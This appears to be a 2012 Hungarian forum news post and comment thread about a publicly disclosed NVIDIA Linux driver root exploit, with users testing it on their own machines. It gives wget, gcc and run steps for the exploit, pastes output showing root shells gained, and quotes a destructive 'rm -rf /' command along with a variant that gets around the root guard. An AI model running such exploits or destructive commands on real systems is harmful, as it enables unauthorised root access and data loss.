NVIDIA Linux bináris driver priv escalation exploit?

 ( trey | 2012. augusztus 1., szerda - 17:51 )

Dave Airlie egy exploitot tett közzé ma a full-disclosure levelezési listán az NVIDIA linuxos bináris driver-éhez, driver-eihez. Airlie azt állítja, hogy névtelenül kapta és nála működik. Elküldték az NVIDIA-nak több mint egy hónappal ezelőtt, de semmi reakció. A szerző névtelen akart maradni, de egyben azt is akarta, hogy az exploit publikálásra kerüljön, ezért Airlie elküldte a listára.

Akinek olyan rendszere van, amelyen prop. NVIDIA driver-rel hajtott chip/kártya található, annak érdemes fokozott figyelemmel kísérnie a fejleményeket. Arról semmilyen információ nincs, hogy mely driver verziókat érinti a probléma. A részletek itt olvashatók.

Hozzászólás megjelenítési lehetőségek

A választott hozzászólás megjelenítési mód a „Beállítás” gombbal rögzíthető.

Nem mukodik: Ubuntu 11.04 x64, nVidia driver 295.20

Helyzet ugyan ez. Gentoo alatt is:

x11-drivers/nvidia-drivers-295.59 USE="acpi tools (-multilib)"
sys-kernel/gentoo-sources-3.3.8 USE="-build -deblob -symlink"

UI:
Valami mégis csak történt. Egy konzolra váltás után volt egy "autoresetem".
------
3 fajta matematikus létezik. Aki tud számolni, és aki nem.

Szintén nem működik: openSUSE 11, 32-bit, Nvidia 190.42
(Ennél régebbi élő rendszerem most nincs itthon.)
-
"Attempting to crack SpeedLock can damage your sanity"

Hogyan lehet ellenőrizni - mi az eljárás menete - másik openSUSE (12.1, 64 bit) rendszeren (NVidia driver: 295.59)?

Nem programozó volnék, így kérdésem: mi a teendő a "bin.c" állománnyal?

Leforditod, futtatod.

tompos

* How to use: sudo rm -rf / ;)

Regen, ha vki beirt egy ilyet, alapbol ban-t kapott.

t

Én csak idéztem a kódból.

Változik a világ. Manapság erre jó esetben már semmi sem történik:

Protection of the filesystem root

--
trey @ gépház

Ez tényleg benne van:)
3. sor

Ja, akkor felreertettem, bocs.

tompos

elirta a commentben ;) ket '/' kell :) rm -rf //
___
info

Hogyan lehet ellenőrizni - mi az eljárás menete - másik openSUSE (12.1, 64 bit) rendszeren (NVidia driver: 295.59)?
Nem programozó volnék, így kérdésem: mi a teendő a "bin.c" állománnyal?

Lépésenként:
Letöltöd a pub_c.bin állományt

http://seclists.org/fulldisclosure/2012/Aug/att-4/pub_c.bin

átnevezed pub.c névre, konzolt nyitsz, belépsz abba a könyvtárba ahol van, aztán

gcc -c pub.c

majd

gcc pub.o -o pub

aztán futtatod a pub néven keletkező binárist:

./pub

és megnézed a kimenetet.
(kiírja, hogy sikeres vagy sem)

Ha fordítás közben te is warning üzenetet kapnál az 554-ik sorban lévő unsigned long miatt, akkor írj, és tákolunk valamit, mert úgy néz ki hogy az exploit írója csak a 64 bitesekre gondolt...)

-
"Attempting to crack SpeedLock can damage your sanity"

nem lehet, hogy eleve csak 64 biten működik?
csak kérdezem.

343. sor:

// This should probably work for 64-bits and 32-bits kernels
// But only tested on 64-bits kernels

másik:

#ifdef __x86_64__
(... sok asm)
#else
	// TODO: maybe..
	"xor %eax, %eax\n\t"
#endif

A legfrissebb 64 bites 304.22 beta driver eredménye:

xxxxxx@linux-5750:/home/xxxxxx> ./pub

  • IDT offset at 0xffffffff81ba8000
  • Abusing nVidia...
  • CVE-2012-YYYY
  • 64-bits Kernel found at ofs 0
  • Using IDT entry: 220 (0xffffffff81ba8dc0)
  • Enhancing gate entry...
  • Triggering payload...
  • Hiding evidence...
    callsetroot returned fffffffffffffffe (-2)
    [*] Failed to get root.

  • Update:

    Szintén nem működik:
    Little Susie feat. KDE3 (openSUSE 11.1 alapok), kernel 2.6.34.7, 32-bit, Nvidia 260

    (holnap ellenőrzöm a 3.3-as kernelen futó Zsuzsit is)
    -
    "Attempting to crack SpeedLock can damage your sanity"

    -

    Frissitettem 295.59-re, tovabbra sem mukodik. Linux biliskner 2.6.38-15-generic #64-Ubuntu SMP Fri Jul 6 18:51:28 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux

    Ó, megy ez kérem...295.59

    bash-4.2$ ./a.out 
    
  • IDT offset at 0xffffffff81de5000
  • Abusing nVidia...
  • CVE-2012-YYYY
  • 64-bits Kernel found at ofs 0
  • Using IDT entry: 220 (0xffffffff81de5dc0)
  • Enhancing gate entry...
  • Triggering payload...
  • Hiding evidence... [*] Have root, will travel.. sh-4.2# id -u 0
  • nálam is működik.

    $ dpkg --list nvidia-current
    Desired=Unknown/Install/Remove/Purge/Hold
    | Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
    |/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
    ||/ Név                        Verzió                     Leírás
    +++-===========================-===========================-======================================================================
    ii  nvidia-current              295.40-0ubuntu1             NVIDIA binary Xorg driver, kernel module and VDPAU library
    
    $ wget -O pub.c http://seclists.org/fulldisclosure/2012/Aug/att-4/pub_c.bin
    $ gcc -o pub ./pub.c 
    $ ./pub 
    
  • IDT offset at 0xffffffff81dd7000
  • Abusing nVidia...
  • CVE-2012-YYYY
  • 64-bits Kernel found at ofs 0
  • Using IDT entry: 220 (0xffffffff81dd7dc0)
  • Enhancing gate entry...
  • Triggering payload...
  • Hiding evidence... [*] Have root, will travel.. sh-4.2# whoami root sh-4.2#
  • csába...
    :)

    Ubuntu 12.04 (3.2.0-27-generic) x64 - nvidia-current 295.40-0ubuntu

    megy.

    [09:32:27] hornyakn@Zeus:~/temp> ./nvidia-root 
    
  • IDT offset at 0xffffffff81e35000
  • Abusing nVidia...
  • CVE-2012-YYYY
  • 64-bits Kernel found at ofs 0
  • Using IDT entry: 220 (0xffffffff81e35dc0)
  • Enhancing gate entry...
  • Triggering payload...
  • Hiding evidence... callsetroot returned fffffffffffffffe (-2) [*] Failed to get root. [09:32:29] hornyakn@Zeus:~/temp> uname -a Linux Zeus 3.1.10-1.16-desktop #1 SMP PREEMPT Wed Jun 27 05:21:40 UTC 2012 (d016078) x86_64 x86_64 x86_64 GNU/Linux [09:32:43] hornyakn@Zeus:~/temp> nvidia- nvidia-bug-report.sh nvidia-debugdump nvidia-installer nvidia-settings nvidia-smi nvidia-uninstall nvidia-xconfig [09:32:43] hornyakn@Zeus:~/temp> nvidia-settings --version nvidia-settings: version 270.41.06 (abuild@Hatate) Wed Jul 4 10:42:24 UTC 2012 The NVIDIA X Server Settings tool. This program is used to configure the NVIDIA Linux graphics driver. For more detail, please see the nvidia-settings(1) man page. Copyright (C) 2004 - 2010 NVIDIA Corporation. [09:32:51] hornyakn@Zeus:~/temp> cat /etc/SuSE-release openSUSE 12.1 (x86_64) VERSION = 12.1 CODENAME = Asparagus [09:33:19] hornyakn@Zeus:~/temp>
  • --
    Discover It - Have a lot of fun!

    Jah, megnéztem pár SuSE-n, és egyiken sem sikerült rootnak lennem ezzel az exploittal.

    Nálam is ez a helyzet. Nekem is van pár SuSE-m, itthon most éppen 5 gép, de egyiket sem sikerült legyűrnöm...(még azért próbálkozom egy-két trükkel a pub.c forrásban, ugyanis minden itthoni gépem 32 bites rendszert futtat)
    Szerintem a siker rendszer-, és kernelfüggő lesz.
    -
    "Attempting to crack SpeedLock can damage your sanity"

    Debian Wheezy

    $ uname -a
    Linux xxx 3.2.0-3-amd64 #1 SMP Thu Jun 28 09:07:26 UTC 2012 x86_64 GNU/Linux

    $ ./pub

  • IDT offset at 0xffffffff8172b000
    COULD NOT DO SUPER SECRET HACKING STUFF, YOU ARE ON YOUR OWN!: No such file or directory
    [*] Abusing nVidia...

    ________________________________________
    "The vision of Christ that thou dost see
    Is my vision’s greatest enemy."

  • azt lattad, h nvidia vidkartya kell hozza? ;)

    najó, majd küszködök. de nem ma. Amúgy van, csak régebben kikapcsoltam, mert szar volt a driver.

    gy.k. A hiba pont a driverben van. ;)

    Az előző hsz-ből kimaradt, hogy természetesen elfelejtettem. :DDD Leginkább nem az én gépem, nem én használom folyamatosan. Benéztem, evvan. :)

    ________________________________________
    "The vision of Christ that thou dost see
    Is my vision’s greatest enemy."

    headshot

    touché :D